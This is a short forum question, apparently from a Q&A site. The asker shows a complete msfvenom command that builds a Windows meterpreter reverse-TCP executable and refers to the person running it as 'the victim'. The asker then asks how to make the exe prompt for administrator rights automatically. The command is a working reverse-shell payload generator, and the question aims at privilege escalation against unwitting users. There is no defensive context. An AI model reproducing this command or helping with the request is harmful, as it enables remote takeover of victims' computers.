So I can create a Windows payload with msfvenom with a simple command, for example :

msfvenom --platform Windows -p windows/x64/meterpreter/reverse_tcp 
LHOST= LPORT=4485 EXITFUNC=thread -b '\x00' 
-f exe-only -o mypayload.exe

But when the victim runs the .exe file, it doesn't ask for admin privileges. The victim must right click on the .exe file, and select run as administrator, then confirm the prompt.

Is there a way to make an exe file open the admin prompt directly, without having to click on "run as administrator"?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.